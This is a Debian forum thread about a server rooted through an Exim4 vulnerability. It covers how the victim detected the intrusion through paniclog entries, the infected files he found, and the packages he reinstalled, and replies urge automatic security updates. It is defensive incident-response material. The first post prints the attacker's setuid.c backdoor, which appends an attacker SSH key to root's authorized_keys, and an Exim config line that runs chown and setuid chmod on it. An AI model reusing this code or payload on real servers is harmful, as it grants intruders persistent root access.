Root attacks due to security breach in Exim4

Kernels & Hardware, configuring network, installing services

Root attacks due to security breach in Exim4

Postby leonard » 2011-01-21 02:40

Hi guys
My debian server has been attacked due to a security breach in exim4 4.69-9 (probably applies to loads of other versions too).
The security breach allows the attacker to get root access by creating a buffer overflow in a header which then can be used to inject code.
See http://lists.debian.org/debian-security ... 00181.html
The securtiy breach is fixed with 4.69-9+lenny1

I want to share my actions with you on what I did to (hopefully) get rid of it.
Here is another thread on this topic.
However at the time of writing this, the above website is down due to too much load (DDOS Attack?).

How you can check if you've been attacked:

The attack creates a buffer overflow in exim4, which results in paniclog entries.
Code: Select all
$ cat /var/log/exim4/paniclog
2010-12-17 07:34:11 string too large in xxxyyy()
2010-12-19 10:42:10 string too large in xxxyyy()

this would be an example of two attacks. One on 2010-12-17 and the other two days later 2010-12-19.

with this information you can start find potentially infected files. There may be a better way, but I searched for them with this command:
Code: Select all
$ find / -mtime 31 2>/dev/null # files,directories,links created 31 days ago (i.e. 2010-12-17)

My infected files:
Code: Select all
/usr/bin/uptime
/usr/bin/pwdx
/usr/bin/slabtop
/usr/bin/pkill
/usr/bin/w
/usr/bin/skill
/usr/bin/watch
/usr/bin/pmap
/usr/bin/tload
/usr/bin/snice
/usr/bin/free
/usr/bin/pgrep
/usr/bin/top
/usr/bin/vmstat
/usr/include/sslv3/mig
/usr/include/sslv3/dropbear
/bin/ps
/bin/kill
/root/.ssh/authorized_keys
/var/run/sshd.pid
/var/spool/exim4/setuid
/var/spool/exim4/setuid.c
/var/spool/exim4/a.conf
/var/spool/exim4/e.conf
/etc/init.d/xfs3
/etc/rc0.d/K20xfs3 -> ../init.d/xfs3
/etc/rc1.d/K20xfs3
/etc/rc2.d/S20xfs3
/etc/rc4.d/S20xfs3
/etc/rc6.d/K20xfs3
/etc/rc5.d/S20xfs3
/etc/rc3.d/S20xfs3


Content of /var/spool/exim4/setuid.c (C source-code of the binary setuid):
Code: Select all
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(int argc, char *argv[]){
FILE *fp;

    setreuid(0,0);
    setregid(0,0);
    setgroups(0, NULL);

    mkdir("/root/.ssh",0700);
    fp=fopen("/root/.ssh/authorized_keys","a+");
    fprintf(fp,"\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KxE1XglyFlndQq8fGY11MJVKU+s9KdqwCd6xsiLIQ4KyRWUCNQe+MBJ5KOJv9Txzkfho/aCpfGQdpVJMdl/GZdyM/4GMwvFrRr6IYB/8RpwfVWlonisVMKEXIldIuS1LhJVygBFfqhE5M2p79qD4lAGeRs8pCxWJhlKSKiUxW+uGEXdjzn0669mdHrEMqyooOa3R6dasTuuzhQ/vcgxv3TYRdsaB2cC2u3Rr7gUZc/eXkDZ6tCc+LsgBKo6e86Qim2O/TqfiqMhS/jPK29fMOP4svm92ht8J8io/rgxi1mOtgl/hf33RgkcLUh7sEJwiQ6jFhz0go2dhOoct+o/GQ== root@localhost\n");
    fclose(fp);
    chmod("/root/.ssh/authorized_keys", S_IRUSR | S_IWUSR);
}


Content of a.conf:
Code: Select all
spool_directory = ${run{/bin/chown root:root /var/spool/exim/setuid}}${run{/bin/chmod 4755 /var/spool/exim/setuid}}



So what does the attack do?
  • 1) It compiles a c-script which exim executes as root. (Trojan)
  • 2) The script installs an RSA Key (public key) in the authorized_keys file of the root user, so that the people with the corresponding private key (= the attackers) can log in as root without using a password.
    Depending on the sshd configuration settings this will work or not.
  • 3) If the ssh policy allows RSA-Key access for root, the server is completely open for misuse.
  • 4) In addition to the above, a rootkit is installed too, overwriting some important shell-commands. (No idea what that was for, probably to keep certain actions unseen)

If you dont want to reinstall the whole server (a full reinstall might probably be the best), you may try what I did:
Note: If your server was misued, your IP-Address of your server may be blacklisted by now on RBL-servers. Check here: http://www.blacklistalert.org/
  • check the network and logfiles for misuse
  • upgrade exim4
    Code: Select all
      $ apt-get update
      $ apt-get upgrade

  • remove the startup scripts in /etc/init.d, /etc/rcxx
  • reinstall the infected binaries:
    -> check by which package the binaries originate from and reinstall the packages:
    Code: Select all
    $ dpkg -S /usr/bin/snice # shows that snice was originally installed by the package procps

    -> reinstall the package to reinstate the original files:
    Code: Select all
     $ apt-get install --reinstall procps

    if this results in the error 'Operation not permitted', remove the immutable attribute using:
    Code: Select all
    $ chattr -i $file

    the package re-installation will work then.

Cheers!
Leonard
User avatar
leonard
 
Posts: 6
Joined: 2008-03-03 20:25

Re: Root attacks due to security breach in Exim4

Postby edbarx » 2011-01-21 07:46

It is needless to point out that serious security holes are patched as soon as they are discovered. This is in great contrast with what happens in the proprietary world, where one has first to convince the software publisher about having a bug and then, maybe, a patch is published.

My advice is: if you have a sensitive server do the updates regularly. Using Debian doesn't mean one can omit one's responsibilities.
Debian == { > 30, 000 packages }; Debian != systemd
The worst infection of all, is a false sense of security!
It is hard to get away from CLI tools.
User avatar
edbarx
 
Posts: 5397
Joined: 2007-07-18 06:19
Location: 35° 50 N, 14 º 35 E

Re: Root attacks due to security breach in Exim4

Postby Hallvor » 2011-01-21 08:08

edbarx wrote:It is needless to point out that serious security holes are patched as soon as they are discovered. This is in great contrast with what happens in the proprietary world, where one has first to convince the software publisher about having a bug and then, maybe, a patch is published.

My advice is: if you have a sensitive server do the updates regularly. Using Debian doesn't mean one can omit one's responsibilities.


Yes, this was discovered and patched more than a month ago. It could easily have been avoided by

Code: Select all
aptitude install unattended-upgrades


Thanks for telling how to get rid of it, though.
Lenovo Thinkpad T440S, Intel Core i7-4600U CPU @ 2.10GHz, 8 GB RAM, 256 GB SSD, Debian Buster (KDE)
User avatar
Hallvor
 
Posts: 947
Joined: 2009-04-16 18:35
Location: Norway

Re: Root attacks due to security breach in Exim4

Postby julian67 » 2011-01-21 10:25

The dates on leonard's logs are from over a month ago. It's not enough to run apt as and when one remembers (a person may be ill or otherwise incapacitated, or can't gain secure remote access etc). On a stable release it makes sense to run cron-apt and have it daily fetch and apply security updates automatically, or at the very minimum to have it fetch them and mail a notification to someone who can attend to it. I've been running cron-apt on my server for ages, letting it just get on with it and install every patch. On my Squeeze desktops and laptops I get a mail and I check before proceeding, but I trust Debian stable not to break my OS with a patch. I also subscibe to the Debian security announce and debian announce. It's free!

Finally the exim vulnerability was being exploited before there was a patch available. Sometimes it's possible to do everything right and still suffer.
Wisdom from my inbox: "do not mock at your pottenocy"
User avatar
julian67
 
Posts: 4648
Joined: 2007-04-06 14:39
Location: Just hanging around

Re: Root attacks due to security breach in Exim4

Postby Hallvor » 2011-01-21 11:41

Yes, my bad. But it was still more than a week after the patch was rolled out.
Lenovo Thinkpad T440S, Intel Core i7-4600U CPU @ 2.10GHz, 8 GB RAM, 256 GB SSD, Debian Buster (KDE)
User avatar
Hallvor
 
Posts: 947
Joined: 2009-04-16 18:35
Location: Norway


Return to System configuration

Who is online

Users browsing this forum: No registered users and 12 guests

fashionable